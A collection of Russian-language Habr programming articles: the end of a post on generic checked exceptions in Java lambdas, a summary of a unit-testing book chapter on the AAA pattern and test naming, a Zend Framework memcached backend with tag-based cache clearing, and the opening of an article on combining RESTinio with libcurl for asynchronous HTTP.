public static byte[] waitAndRead(String filename, long time) throws InterruptedException, IOException {
Thread.sleep(time);
return Files.readAllBytes(new File(filename).toPath());
}
public Collection joinedExceptions(Collection filenames) throws Exception
{
return map(filenames, f -> waitAndRead(f, 1000L));
}
```
#### Исключения в разных лямбда-функциях
Однако если мы запишем цепочку лямбда функций каждая из которых выбрасывает не более одного исключения, то разумеется они не будут объединены и могут быть корректно обработаны по отдельности.
```
private T wait(T t, long time) throws InterruptedException {
Thread.sleep(time);
return t;
}
private byte[] read(String filename) throws IOException {
return Files.readAllBytes(new File(filename).toPath());
}
public Collection separatedExceptions(Collection filenames) throws InterruptedException {
try {
return map(map(filenames, f -> wait(f, 1000L)), f -> read(f));
} catch (IOException e) {
return Collections.emptyList();
}
}
```
Как видно в этом примере в IOException мы перехватываем и возвращаем пустую коллекцию, а InterruptedException передаём выше.
#### Лямбда-функция без исключений
И наконец посмотрим, как поведет себя функция которая не выбрасывает контролируемых исключений, не потребует ли она обрабатывать исключение которого нет?
```
public Collection noExceptions(Collection filenames)
{
return Mapper.map(filenames, f -> new File(f).exists());
}
```
Всё работает замечательно и нет необходимости обрабатывать исключения. Интересно что при этом generic-тип исключения раскрылся в RuntimeException автоматически, что в принципе логично, но немного неожиданно.
#### Недостатки
Главным минусом описанного выше подхода является несовместимость с Stream API из-за невозможности использовать интерфейсы с generic исключениями вместо стандартных. Потенциально можно написать ThrowableStream API по аналогии StreamEx или расширить StreamEx, но это потребует написания большого объёма тривиального кода. Вторым минусом является, то что объявить больше одного generic исключения нельзя.
Кстати использовать исключения в классах с generic типами можно и на более ранних версиях Java (проверил на 1.7), но там это неудобно и поэтому довольно бессмысленно.
**UPD:**
#### Ленивые вычисления
Для поддержки ленивых вычислений создаём такую обертку вокруг стандартного стрима (для примера только два метода, остальные реализуются аналогичным образом).
```
public class ErStream {
private final Stream ~~mainStream;
public ErStream(Stream ~~mainStream) {
this.mainStream = mainStream;
}
public static ErStream map(ErStream erStream, FunctionWithExceptions function) {
Function f = uncheck(function);
return new ErStream<>(erStream.mainStream.map(f));
}
public static Optional ~~findAny(ErStream erStream) throws T {
return erStream.mainStream.findAny();
}
//Взято у Djaler
private static Function uncheck(FunctionWithExceptions function) {
return t -> {
try {
return function.apply(t);
} catch (Throwable exception) {
throwAsUnchecked(exception);
return null;
}
};
}
//Взято у Djaler
@SuppressWarnings("unchecked")
private static void throwAsUnchecked(Throwable exception) throws E {
throw (E) exception;
}~~~~~~
```
И используем следующим образом (для компактности все примеры в одном блоке кода):
```
private static byte[] read(String filename) throws EOFException {
return null;
}
private static String search(String filename) throws FileNotFoundException {
return filename;
}
public static void main(String[] args) {
List list = Arrays.asList("1.txt");
//autogenerated code with wrong generic types
//ErStream temp = map(new ErStream<>(list.stream()), s -> search(s));
//store single exception
ErStream temp = map(new ErStream<>(list.stream()), s -> search(s));
try {//exception will be thrown here
findAny(temp);
} catch (FileNotFoundException e) {/\*NOTHING\*/}
temp = map(new ErStream<>(list.stream()), s -> search(s));
try {//most general exception will be thrown here
findAny(map(temp,s -> read(s)));
} catch (IOException e) {/\*NOTHING\*/}
//without exception, nothing thrown
findAny(map(new ErStream<>(list.stream()), i -> i + 1));
}
```
В данном примере ошибка выбрасывается из терминальной операции и ErStream может быть сохранен в переменную (к сожалению, у Eclipse 4.6.3 вместо правильных generic-типов выводит наиболее общие типы и их приходится указывать самому) или передан в другую функцию. Так же выводить общий тип для объединения нескольких исключений корректно получилось только в статических методах. Так же при сохранении ErStream не генерирующего ошибку в локальную переменную generic-тип ошибки будет RuntimeException что при объединении её с другими ошибками выведет общий тип как Exception (при записи функций в цепочку такой проблемы нет).
[Ссылка на git с исходным кодом](https://github.com/igormich/ThrowableLambdas) и junit тестом в котором проверяются ситуации аналогичные описанным в статье. | https://habr.com/ru/post/341524/ | null | ru | null |
# Анатомия юнит-теста
Эта статья является конспектом книги «[Принципы юнит-тестирования](https://www.litres.ru/vladimir-horikov/principy-unit-testirovaniya-pdf-epub-64083637/)». Материал статьи посвящен структуре юнит-теста.
В этой статье рассмотрим структуру типичного юнит-теста, которая обычно описывается паттерном AAA (arrange, act, assert — подготовка, действие и проверка). Затронем именование юнит-тестов. Автор книги описал распространенные советы по именованию и показал, почему он несогласен с ними и привел альтернативы.
Структура юнит-теста
--------------------
Согласно паттерну AAA (или 3А) каждый тест разбивается на три части: arrange (подготовка), act (действие) и assert (проверка). Возьмем для примера класс Calculator с методом для вычисления суммы двух чисел:
```
public class Calculator
{
public double Sum(double first, double second)
{
return first + second;
}
}
```
Рис. 1 – Листинг теста для проверки поведения класса по схеме АААПаттерн AAA предоставляет простую единообразную структуру для всех тестов в проекте. Это единообразие дает большое преимущество: привыкнув к нему, вы сможете легко прочитать и понять любой тест. Структура теста выглядит так:
* в секции подготовки тестируемая система (system under test, SUT) и ее зависимости приводятся в нужное состояние;
* в секции действия вызываются методы SUT, передаются подготовленные зависимости и сохраняется выходное значение (если оно есть);
* в секции проверки проверяется результат, который может быть представлен возвращаемым значением, итоговым состоянием тестируемой системы.
Как правило, написание теста начинается с секции подготовки (arrange), так как она предшествует двум другим. Но начинать писать тесты можно также и с секции проверки (assert). Если практиковать разработку через тестирование (TDD), то вы еще не знаете всего о поведении этой функциональности. Возможно, будет полезно сначала описать, чего вы ожидаете от поведения, а уже затем разбираться, как создать систему для удовлетворения этих ожиданий. В этом случае сначала мы думаем о цели: что разрабатываемая функциональность должна делать для нас. А затем начинаем решать задачу. Но следует еще раз подчеркнуть, что эта рекомендация применима только в том случае, когда практикуется TDD. Если вы пишете основной код до кода тестов, то к тому моменту, когда вы доберетесь до теста, вы уже знаете, чего ожидать от поведения, и лучше будет начать с секции подготовки.
> Есть еще паттерн «[Given-When-Then](https://martinfowler.com/bliki/GivenWhenThen.html)», похожем на AAA. Этот паттерн также рекомендует разбить тест на три части:
>
> Given — соответствует секции подготовки (arrange);
>
> When — соответствует секции действия (act);
>
> Then — соответствует секции проверки (assert)
>
> В отношении построения теста эти два паттерна ничем не отличаются. Единственное отличие заключается в том, что структура «Given-When-Then» более понятна для непрограммиста. Таким образом, она лучше подойдет для тестов, которые вы собираетесь показывать людям, не имеющим технической подготовки.
>
>
Избегайте множественных секций arrange, act и assert
----------------------------------------------------
Иногда встречаются тесты с несколькими секциями arrange (подготовка), act (действие) или assert (проверка).
Рис. 2 - Множественные секции подготовки, действий и проверки указывают на то, что тест пытается проверять слишком много всего.Когда присутствует несколько секций действий, разделенных секциями проверки и, возможно, секциями подготовки, это означает, что тест проверяет несколько единиц поведения. Такой тест уже не является юнит-тестом — это интеграционный тест. Такой структуры тестов лучше избегать. Если вы видите тест, содержащий серию действий и проверок, отрефакторите его: выделите каждое действие в отдельный тест.
> Интеграционным тестом называется тест, который не удовлетворяет хотя бы одному из следующих критериев: проверяет одну единицу поведения*,* делает это быстро и в изоляции от других тестов.
>
> Например, тест, который обращается к совместной зависимости — скажем, базе данных, — не может выполняться в изоляции от других тестов. Изменение состояния базы данных одним тестом приведет к изменению результатов всех остальных тестов, зависящих от той же базы и выполняемых параллельно.
>
>
Иногда допустимо иметь несколько секций действий в интеграционных тестах. Интеграционные тесты могут быть медленными. Один из способов ускорить их заключается в том, чтобы сгруппировать несколько интеграционных тестов в один с несколькими секциями действий и проверок. Это особенно хорошо ложится на конечные автоматы (state machines), где состояния системы перетекают из одного в другое и когда одна секция действий одновременно служит секцией подготовки для следующей секции действий.
Однако для юнит-тестов или интеграционных тестов, которые работают достаточно быстро, такая оптимизация не нужна. Тесты, проверяющие несколько единиц поведения, лучше разбивать на несколько тестов.
Избегайте команд if в тестах
----------------------------
Наличие в тестах команды if также является антипаттерном. Тест — неважно, юнит- или интеграционный — должен представлять собой простую последовательность шагов без ветвлений.
Присутствие команды if означает, что тест проверяет слишком много всего. Следовательно, такой тест должен быть разбит на несколько тестов. Но в отличие от ситуации с множественными секциями AAA, здесь нет исключений для интеграционных тестов. Ветвление в тестах не дает ничего, кроме дополнительных затрат на сопровождение: команды if затрудняют чтение и понимание тестов.
Насколько большой должна быть каждая секция?
--------------------------------------------
Насколько большой должна быть каждая секция? И как насчет завершающей (teardown) секции — той, что должна «прибирать» после каждого теста?
Секция подготовки обычно является самой большой из трех. Если она становится слишком большой, лучше выделить отдельные операции подготовки либо в приватные методы того же класса теста, либо в отдельный класс-фабрику. Есть несколько популярных паттернов, которые помогут организовать переиспользование кода в секциях подготовки: [«Мать объектов» (Object Mother)](https://martinfowler.com/bliki/ObjectMother.html) и [«Построитель тестовых данных» (Test Data Builder)](https://arleypadua.medium.com/builder-pattern-applied-to-testing-60e009c427c6).
Секция действия обычно состоит всего из одной строки кода. Если действие состоит из двух и более строк, это может указывать на проблемы с API тестируемой системы. Этот пункт лучше продемонстрировать на примере, в котором клиент совершает покупку в интернет-магазине.
```
[Fact]
public void Purchase_succeeds_when_enough_inventory()
{
// Arrange
var store = new Store();
store.AddInventory(Product.Shampoo, 10);
var customer = new Customer();
// Act
bool success = customer.Purchase(store, Product.Shampoo, 5);
// Assert
Assert.True(success);
Assert.Equal(5, store.GetInventory(Product.Shampoo));
}
```
Обратите внимание: секция действия (act) в этом тесте состоит из вызова одного метода, что является признаком хорошо спроектированного API класса. Теперь сравним ее с версией, в которой секция действия состоит из двух строк. Это признак проблемы с API тестируемой системы: он требует, чтобы клиент помнил о необходимости второго вызова метода для завершения покупки, следовательно, тестируемая система недостаточно инкапсулирована.
```
[Fact]
public void Purchase_succeeds_when_enough_inventory()
{
// Arrange
var store = new Store();
store.AddInventory(Product.Shampoo, 10);
var customer = new Customer();
// Act
bool success = customer.Purchase(store, Product.Shampoo, 5);
store.RemoveInventory(success, Product.Shampoo, 5);
// Assert
Assert.True(success);
Assert.Equal(5, store.GetInventory(Product.Shampoo));
}
```
В новой версии клиент сначала пытается приобрести пять единиц товара в магазине. Затем товар удаляется со склада. Удаление происходит только в том случае, если предшествующий вызов Purchase() завершился успехом.
Недостаток новой версии заключается в том, что она требует двух вызовов для выполнения одной операции. Следует заметить, что это не является проблемой самого теста. Тест проверяет ту же единицу поведения: процесс покупки. Проблема кроется в API класса Customer. Он не должен требовать от клиента дополнительного вызова. Если клиентский код вызывает первый метод, но не вызывает второй; в этом случае клиент получит товар, но количество товара на складе при этом не уменьшится.
Такое нарушение логической целостности называется нарушением инварианта(invariant violation). Защита кода от потенциальных нарушений инвариантов называется инкапсуляцией (encapsulation). Когда нарушение логической целостности проникает в базу данных, оно становится серьезной проблемой; теперь не удастся сбросить состояние приложения простым перезапуском. Придется разбираться с поврежденными данными в базе и, возможно, связываться с клиентами и решать проблему с каждым из них по отдельности.
Проблема решается поддержанием инкапсуляции кода. В предыдущих примерах удаление запрашиваемого товара со склада должно быть частью метода Purchase. Сustomer не должен полагаться на то, что клиентский код сделает это сам, вызвав метод store.RemoveInventory. Когда речь заходит о поддержании инвариантов в системе, вы должны устранить любую потенциальную возможность нарушить эти инварианты.
Эти рекомендации применимы к большинству кода, содержащего бизнес-логику. Иногда это правило можно нарушить в служебном или инфраструктурном коде. Тем не менее следует анализировать каждый такой случай на возможные нарушения инкапсуляции.
Сколько проверок должна содержать секция проверки?
--------------------------------------------------
Так как под «юнитом» в юнит-тестировании понимается единица поведения, а не единица кода, то одна единица поведения может приводить к нескольким результатам. Проверять все эти результаты в одном тесте вполне нормально.
Тем не менее, если секция проверки получается слишком большой: это может быть признаком того, что в коде недостает какой-то абстракции. Например, вместо того чтобы по отдельности проверять все свойства объекта, возвращенного тестируемой системой, возможно, будет лучше добавить методы проверки равенства (equality members) в класс такого объекта. После этого объект можно будет сравнивать с ожидаемым значением всего одной командой.
Нужна ли завершающая (teardown) фаза?
-------------------------------------
Иногда еще выделяют четвертую — завершающую (teardown) — секцию, которая следует после остальных. Например, в завершающей секции можно удалить любые файлы, созданные в ходе теста, закрыть подключение к базе данных и т. д. Завершение обычно представляется отдельным методом, который переиспользуется всеми тестами в классе. По этой причине автор книги не включил эту фазу в паттерн AAA.
Большинству юнит-тестов завершение не требуется. Юнит-тесты не взаимодействуют с внепроцессными зависимостями, а, следовательно, не оставляют за собой ничего, что нужно было бы удалять. Вопрос очистки тестовых данных относится к области интеграционного тестирования.
Переиспользование тестовых данных между тестами
-----------------------------------------------
Важно понимать, как и когда переиспользовать код между тестами. Переиспользование кода между секциями подготовки — хороший способ сокращения и упрощения ваших тестов.
Ранее упоминалось, что подготовка тестовых данных часто занимает много места. Есть смысл выделить эту подготовку в отдельные методы или классы, которые затем переиспользуются между тестами. Существуют два способа реализации такого переиспользования, но автор книги рекомендует использовать только один из них; первый способ приводит к повышению затрат на сопровождение теста.
Первый (неправильный) способ переиспользования тестовых данных — инициализация их в конструкторе теста. Такой подход позволяет значительно сократить объем кода в тестах — вы можете избавиться от большинства (или даже от всех) конфигураций в тестах. Однако у этого подхода есть два серьезных недостатка.
Он создает сильную связность (high coupling) между тестами. Изменение логики подготовки одного теста повлияет на все тесты в классе. Тем самым нарушается важное правило: изменение одного теста не должно влиять на другие тесты. Чтобы следовать этому правилу, необходимо избегать совместного состояния (shared state) в классах тестов.
Другой недостаток выделения кода подготовки в конструктор — ухудшение читаемости теста. С таким конструктором просмотр самого теста больше не дает полной картины. Чтобы понять, что делает тест, приходится смотреть в два места: сам тест и конструктор тест-класса.
Второй (правильный) способ — написать фабричные методы, как показано ниже.
```
public class CustomerTests
{
[Fact]
public void Purchase_succeeds_when_enough_inventory()
{
Store store = CreateStoreWithInventory(Product.Shampoo, 10);
Customer sut = CreateCustomer();
bool success = sut.Purchase(store, Product.Shampoo, 5);
Assert.True(success);
Assert.Equal(5, store.GetInventory(Product.Shampoo));
}
[Fact]
public void Purchase_fails_when_not_enough_inventory()
{
Store store = CreateStoreWithInventory(Product.Shampoo, 10);
Customer sut = CreateCustomer();
bool success = sut.Purchase(store, Product.Shampoo, 15);
Assert.False(success);
Assert.Equal(10, store.GetInventory(Product.Shampoo));
}
private Store CreateStoreWithInventory(Product product, int quantity)
{
Store store = new Store();
store.AddInventory(product, quantity);
return store;
}
private static Customer CreateCustomer()
{
return new Customer();
}
}
```
Выделяя общий код инициализации в приватные фабричные методы, можно сократить код теста с сохранением полного контекста того, что происходит в этом тесте. Более того, приватные методы не связывают тесты друг с другом, при условии, что они достаточно гибкие (то есть позволите тестам указать, как должны создаваться тестовые данные).
Обратите внимание: в этом конкретном примере писать фабричные методы не обязательно, так как логика подготовки весьма проста. Этот код приводится исключительно в демонстрационных целях.
Именование юнит-тестов
----------------------
Правильное именование помогает понять, что проверяет тест и как работает система. Как же выбрать имя для юнит-теста? Есть много рекомендаций на эту тему. Одна из самых распространенных (и, пожалуй, одна из наименее полезных по мнению автора книги) рекомендаций выглядит так:
[ТестируемыйМетод]\_[Сценарий]\_[ОжидаемыйРезультат]
Такая схема неоптимальная, так как она заставляет сосредоточиться на деталях имплементации вместо поведения системы. Простые фразы гораздо лучше подходят для этой задачи. Простыми фразами можно описать поведение системы в формулировках, которые будут понятны всем, в том числе заказчику или аналитику:
```
public class CalculatorTests
{
[Fact]
public void Sum_of_two_numbers()
{
double first = 10;
double second = 20;
var sut = new Calculator();
double result = sut.Sum(first, second);
Assert.Equal(30, result);
}
}
```
Можно возразить: неважно, что непрограммист не поймет названия этого имени. В конце концов, юнит-тесты пишутся программистами для программистов, а не для бизнеса или аналитиков.
Это верно, но только до определенной степени. Непонятные названия создают дополнительную когнитивную нагрузку для всех, независимо от того, программисты они или нет. На первый взгляд это не кажется серьезной проблемой, но эта когнитивная нагрузка дает о себе знать в долгосрочной перспективе. Все это медленно, но верно увеличивает затраты на сопровождение тестов.
Рекомендации по именованию юнит-тестов
--------------------------------------
Не следуйте жесткой структуре именования тестов. Высокоуровневое описание сложного поведения не удастся втиснуть в узкие рамки такой структуры. Сохраняйте свободу самовыражения.
Выбирайте имя теста так, словно вы описываете сценарий непрограммисту, знакомому с предметной областью задачи (например, бизнес-аналитику).
Разделяйте слова, например, символами подчеркивания. Это поможет улучшить читаемость, особенно длинных имен.
Также обратите внимание на то, что, хотя автор использует паттерн [ИмяКласса]Testsпри выборе имен классов тестов, это не означает, что тесты ограничиваются проверкой только этого класса. Юнитом в юнит-тестировании является единица поведения, а не класс. Единица поведения может охватывать один или несколько классов. Рассматривайте класс в [ИмяКласса]Tests как точку входа — API, при помощи которого можно проверить единицу поведения.
Вывод
-----
Все юнит-тесты должны строиться по схеме AAA: подготовка (Arrange), действие (Act), проверка (Assert). Если тест состоит из нескольких секций подготовки, действий или проверки, это указывает на то, что тест проверяет сразу несколько единиц поведения. Если этот тест — юнит-тест, разбейте его на несколько тестов: по одному для каждого действия.
Секция действия, содержащая более одной строки, — признак проблем с API тестируемой системы. Клиент должен не забывать выполнять эти действия совместно, чтобы не привести к нарушению логической целостности. Такие нарушения называются нарушениями инвариантов.
Переиспользование кода инициализации тестовых данных должно осуществляться с помощью фабричных методов (вместо конструктора тест-класса). Такой подход поддерживает изоляцию между тестами и улучшает читаемость.
Не используйте жесткую структуру именования тестов. Присваивайте имена тестам так, как если бы вы описывали сценарий непрограммисту, знакомому с предметной областью.
Ссылки на все части
-------------------
* [Анатомия юнит-теста](https://habr.com/ru/post/554808/)
* [Аспекты хороших юнит-тестов](https://habr.com/ru/post/555402/)
* [Для чего нужно интеграционное тестирование?](https://habr.com/ru/post/556002/) | https://habr.com/ru/post/554808/ | null | ru | null |
# Учим Zend Memcache работать с тегами
В проекте, где я являюсь разработчиком, используется кеш. Сразу хочу оговориться, проект высоконагруженный, порядка двух тысяч человек в сутки. Удобным решением снять нагрузку с базы данных стало использование мемкеша. Поскольку проект на Zend Framework'е реализацию работы кеша соответственно взяли его. Но как выяснилось не самая удачная реализация, поскольку полностью отсутствует работа с тегами, это не дает нам возможности чистить кеш выборочно.
Каким образом можно реализовать выборочную очистку кеша? Все очень просто, создаем контейнер в который будут записываться имена тегов, они будут ключами для других контейнеров, в них будут храниться наши хеши айдишников кешируемых методов. Для кеш фронтенда был взят Zend\_Cache\_Frontend\_Class. Именно он генерирует хеши ключей данных кешируемых методов.
Выглядит это следующим образом:
`**Tags\_Container** – это имя глобального контейнера, зададим его константой.
**MemcacheTag1, MemcacheTag2 и MemcacheTagN** – это имена сохраняемых тегов, которые будут находиться в Tags_Container в виде массива, они же будут являться контейнерами для хешируемых айдишником.`
Особо не вдаваясь в описание реализации предлагаю готовое решение.
Создаем свой файл бэкенда My\_Cache\_Backend\_Memcached
```
class My_Cache_Backend_Memcached extends Zend_Cache_Backend_Memcached
{
/**
* @const string
*/
const TAGS_CONTAINER_NAME = 'Tags_Container';
/**
* @return array
*/
protected function _getTagsContainer()
{
$tagsContainer = $this->load(self::TAGS_CONTAINER_NAME);
if (false === $tagsContainer) {
$tagsContainer = array();
}
if (is_string($tagsContainer)) {
$tagsContainer = array($tagsContainer);
}
return $tagsContainer;
}
/**
* @param $tagName
*
* @return array
*/
protected function _getIdsByTag($tagName)
{
$tagIds = $this->load($tagName);
if (false === $tagIds) {
$tagIds = array();
}
if (is_string($tagIds)) {
$tagIds = array($tagIds);
}
return $tagIds;
}
/**
* Save some string datas into a cache record
*
* Note : $data is always "string" (serialization is done by the
* core not by the backend)
*
* @param string $data Datas to cache
* @param string $id Cache id
* @param array $tags Array of strings, the cache record will be tagged
* by each string entry
* @param bool|int $specificLifetime If != false, set a specific lifetime
* for this cache record (null => infinite lifetime)
* @return bool True if no problem
*/
public function save($data, $id, $tags = array(), $specificLifetime = false)
{
$lifetime = $this->getLifetime($specificLifetime);
$tagsLifetime = $this->getLifetime(false);
if ($lifetime > $tagsLifetime) {
$tagsLifetime = $lifetime;
}
if ($this->_options['compression']) {
$flag = MEMCACHE_COMPRESSED;
} else {
$flag = 0;
}
$result = true;
if (count($tags) > 0) {
$tagsContainer = $this->_getTagsContainer();
$containerChanged = false;
foreach($tags as $tagName) {
if ($tagName == self::TAGS_CONTAINER_NAME) {
Zend_Cache::throwException('Incorrect name tag "' . $tagName . '"');
}
if (in_array($id, $tagsContainer)) {
Zend_Cache::throwException('The key with id = "' . $id . '" already used in the tags');
}
if (!in_array($tagName, $tagsContainer)) {
$containerChanged = true;
$tagsContainer[] = $tagName;
}
$tagIds = $this->_getIdsByTag($tagName);
if (!in_array($id, $tagIds)) {
$tagIds[] = $id;
}
$result = $result && @$this->_memcache->set(
$tagName, array($tagIds), $flag, $tagsLifetime
);
}
if ($containerChanged) {
$result = $result && @$this->_memcache->set(
self::TAGS_CONTAINER_NAME,
array($tagsContainer), $flag, $tagsLifetime
);
}
}
// ZF-8856: using set because add needs a second request if item already exists
$result = $result && @$this->_memcache->set(
$id, array($data, time(), $lifetime), $flag, $lifetime
);
return $result;
}
/**
* @param string $mode
* @param array $tags
*
* @return array
*/
protected function _get($mode, $tags = array())
{
if (is_string($tags)) {
$tags = array($tags);
}
$tagNames = $this->_getTagsContainer();
switch($mode) {
case 'ids':
break;
case 'tags':
$tagNames = array_intersect($tagNames, $tags);
break;
case 'matching':
$tagNames = array_intersect($tagNames, $tags);
break;
case 'notMatching':
$tagNames = array_diff($tagNames, $tags);
break;
default:
Zend_Cache::throwException('Invalid mode for _get() method');
break;
}
$ids = array();
foreach($tagNames as $tagName) {
$ids = array_merge($this->_getIdsByTag($tagName), $ids);
}
return $ids;
}
/**
* Return an array of stored cache ids
*
* @return array
*/
public function getIds()
{
return $this->_get('ids', array());
}
/**
* Return an array of stored tags
*
* @return array
*/
public function getTags()
{
return $this->_get('tags', array());
}
/**
* Return an array of stored cache ids which match given tags
*
* In case of multiple tags, a logical AND is made between tags
*
* @param array $tags array of tags
*
* @return array
*/
public function getIdsMatchingTags($tags = array())
{
return $this->_get('matching', $tags);
}
/**
* Return an array of stored cache ids which don't match given tags
*
* In case of multiple tags, a logical OR is made between tags
*
* @param array $tags array of tags
*
* @return array
*/
public function getIdsNotMatchingTags($tags = array())
{
return $this->_get('notMatching', $tags);
}
/**
* Return an associative array of capabilities (booleans) of the backend
*
* @return array associative of with capabilities
*/
public function getCapabilities()
{
$capabilities = parent::getCapabilities();
$capabilities['tags'] = true;
return $capabilities;
}
/**
* @param string $mode
* @param array $tags
*
* @return bool
*/
protected function _clean($mode, $tags)
{
$result = false;
switch ($mode) {
case Zend_Cache::CLEANING_MODE_ALL:
$result = $this->_memcache->flush();
break;
case Zend_Cache::CLEANING_MODE_MATCHING_TAG:
$ids = $this->getIdsMatchingTags($tags);
$result = true;
foreach($ids as $id) {
$result = $result && $this->remove($id);
}
break;
case Zend_Cache::CLEANING_MODE_NOT_MATCHING_TAG:
$ids = $this->getIdsNotMatchingTags($tags);
$result = true;
foreach($ids as $id) {
$result = $result && $this->remove($id);
}
break;
case Zend_Cache::CLEANING_MODE_OLD:
case Zend_Cache::CLEANING_MODE_MATCHING_ANY_TAG:
$this->_log(self::TAGS_UNSUPPORTED_BY_CLEAN_OF_MEMCACHED_BACKEND);
break;
default:
Zend_Cache::throwException('Invalid mode for clean() method');
break;
}
return $result;
}
/**
* @param string $mode
* @param array $tags
*
* @return mixed
*/
public function clean($mode = Zend_Cache::CLEANING_MODE_ALL, $tags = array())
{
return $this->_clean($mode, $tags);
}
}
```
Как пользоваться?
Привожу код примера, предупреждаю настройки бекенда и фронтенда передавать можно другим способом, приведенный код только для того чтобы понять как пользоваться.
```
$frontendName = 'Class';
$backendName = 'My_Cache_Backend_Memcached';
$frontendOptions = array();
$memcacheDataObject1 = new Default_Models_MemcacheData1;
$memcacheDataObject2 = new Default_Models_MemcacheData2;
$backendOptions = array(
'servers' => array(
array(
'host' => '127.0.0.1',
'port' => '11211',
'persistent' => 1,
'weight' => 5,
'timeout' => 5,
'retry_interval' => 15
)
)
);
$frontendOptions['cached_entity'] = $memcacheDataObject1;
$cachedObject1 = Zend_Cache::factory(
$frontendName,
$backendName,
$frontendOptions,
$backendOptions,
false,
true
);
$cachedObject1->setTagsArray(array('Memcached_Tag1'));
$frontendOptions['cached_entity'] = $memcacheDataObject2;
$cachedObject2 = Zend_Cache::factory(
$frontendName,
$backendName,
$frontendOptions,
$backendOptions,
false,
true
);
$cachedObject2->setTagsArray(array('Memcached_Tag2'));
```
Вместо стандартного бэкенда «Memcached» необходимо передать свой класс бэкенда «My\_Cache\_Backend\_Memcached», также необходимо указать $customBackendNaming = true это 6 параметр в вызове фабрики Zend\_Cache::factory.
Default\_Models\_MemcacheData1 и Default\_Models\_MemcacheData2 это наши кешируемые классы, они полностью идентичны. Привожу пример одного из них:
```
class Default_Models_MemcacheData1
{
public function cachedMethod()
{
return rand(111, 999);
}
}
```
Как видно из кода при каждом вызове метода cachedMethod мы дожны получать рандомное значение.
```
for ($i = 0; $i < 3; $i++)
{
Zend_Debug::dump($memcacheDataObject1->cachedMethod(), 'cached data:');
}
for ($i = 0; $i < 3; $i++)
{
Zend_Debug::dump($memcacheDataObject2->cachedMethod(), 'cached data:');
}
```
При выполнении кода мы получим нечто похожее на следующее:
`cached data: int(468)
cached data: int(676)
сached data: int(721)
сached data: int(182)
cached data: int(414)
cached data: int(561)`
Проверить кеш в действии можно выполнив следующий код
```
for ($i = 0; $i < 3; $i++)
{
Zend_Debug::dump($cachedObject1->cachedMethod(), 'cached data:');
}
for ($i = 0; $i < 3; $i++)
{
Zend_Debug::dump($cachedObject2->cachedMethod(), 'cached data:');
}
```
Ситуация поменяется, мы получим приблизительно следующие данные:
`cached data: int(901)
cached data: int(901)
cached data: int(901)
cached data: int(865)
cached data: int(865)
cached data: int(865)`
В последующем ситуация не измениться.
Для очистки кеша воспользуемся следующей кодом
```
$cachedClass1->clean(
Zend_Cache::CLEANING_MODE_MATCHING_TAG,
array('Memcached_Tag1')
);
```
Убедитесь что кеш чиститься согласно передаваемого тега
Проблема выборочной очистки кеша была решена, произошел прирост производительности.
\* спасибо homm за замечания. Теперь время жизни для тегов вычисляется исходя из настроек или если передаваемый параметр $specificLifetime больше, то берется он. Также добавлена проверка на изменение общего контейнера, в случае если теги изменялись.
p.s. Хочу предупредить php разработчиков, использовать этот код вы можете на свой собственный страх и риск. Данный код может являться панацеей для частных случаев. И не является взрывоопасным.
Используя данный код помните, что имена тегов также являются ключами, как и сами передаваемые id. | https://habr.com/ru/post/137150/ | null | ru | null |
# Асинхронные HTTP-запросы на C++: входящие через RESTinio, исходящие через libcurl. Часть 1
Преамбула
=========
Наша команда занимается разработкой небольшого, удобного в использовании, встраиваемого, асинхронного HTTP-сервера для современного C++ под названием [RESTinio](https://github.com/Stiffstream/restinio). Начали его делать потому, что нужна была именно асинхронная обработка входящих HTTP-запросов, а ничего готового, чтобы нам понравилось, не нашлось. Как показывает жизнь, асинхронная обработка HTTP-запросов в C++ приложениях нужна не только нам. Давеча на связь вышли разработчики из одной компании с вопросом о том, можно ли как-то подружить асинхронную обработку входящих запросов в RESTinio с выдачей асинхронных исходящих запросов посредством [libcurl](https://curl.haxx.se/libcurl/).
По мере выяснения ситуации мы обнаружили, что эта компания столкнулась с условиями, с которыми сталкивались и мы сами, и из-за которых мы и занялись разработкой RESTinio. Суть в том, что написанное на C++ приложение принимает входящий HTTP-запрос. В процессе обработки запроса приложению нужно обратиться к стороннему серверу. Этот сервер может отвечать довольно долго. Скажем, 10 секунд (хотя 10 секунд — это еще хорошо). Если делать синхронный запрос к стороннему серверу, то блокируется рабочая нить, на которой выполняется HTTP-запрос. А это начинает ограничивать количество параллельных запросов, которые может обслуживать приложение.
Выход в том, чтобы приложение могло асинхронно обрабатывать все запросы: и входящие, и исходящие. Тогда на ограниченном пуле рабочих нитей (а то и вообще на одной единственной рабочей нити) можно будет обрабатывать одновременно десятки тысяч запросов, пусть даже время обработки одного запроса исчисляется десятками секунд.
Фокус был в том, что в приложении для исходящих HTTP-запросов уже использовался libcurl. Но в виде [curl\_easy](https://curl.haxx.se/libcurl/c/libcurl-easy.html), т.е. все запросы выполнялись синхронно. У нас же спрашивали, а можно ли совместить RESTinio и curl\_multi? Вопрос для нас самих оказался интересным, т.к. раньше libcurl в виде [curl\_multi](https://curl.haxx.se/libcurl/c/libcurl-multi.html) применять не приходилось. Поэтому интересно было самим погрузиться в эту тему.
Погрузились. Получили массу впечатлений. Решили поделиться с читателями. Может кому-нибудь будет интересно, как можно жить с curl\_multi. Ибо, как показала практика, жить-то можно. Но осторожно… ;) О чем мы и расскажем в небольшой серии статей, основанных на опыте реализации несложной имитации описанной выше ситуации с медленно отвечающим сторонним сервисом.
Необходимые disclaimer-ы
------------------------
Дабы предупредить бесполезный и неконструктивный флейм в комментариях (вроде того, что случилось [с предыдущей статьей](https://habrahabr.ru/post/348880/)), хочется сделать несколько предупреждений:
* во-первых, далее речь пройдет про C++. Если вам не нравится C++, если вы считаете, что C++ не место в современном мире вообще и в подобных задачах в частности, то эта статья не для вас. И у нас нет цели убедить кого-то в том, что C++ хорош и должен использоваться в таких задачах. Мы лишь рассказываем о том, как можно решить подобную задачу на C++ если вам вдруг пришлось это делать именно на C++. Так же мы не будем спорить о том, почему может такое потребоваться и почему в реальной жизни нельзя просто взять и переписать существующий C++ код на чем-то еще;
* во-вторых, в C++ нет общепринятого code convention, поэтому какие-либо претензии со стороны приверженцев camelCase, PascalCase, Camel\_With\_Underscores\_Case или даже UPPER\_CASE восприниматься не будут. Мы постарались привести код в более-менее похожий на K&R стиль, дабы он выглядел привычно для наибольшего количества читателей. Ибо наш «фирменный» стиль оформления С++кода точно приемлют не все. Однако, если внешний вид кода нарушает ваши эстетические чувства и вы готовы высказать в комментариях свое веское «фи» по этому поводу, то задумайтесь, пожалуйста, вот о чем: всегда есть кто-то, кому не нравится используемый вами стиль. Всегда. Вне зависимости от того, какой именно стиль вы используете;
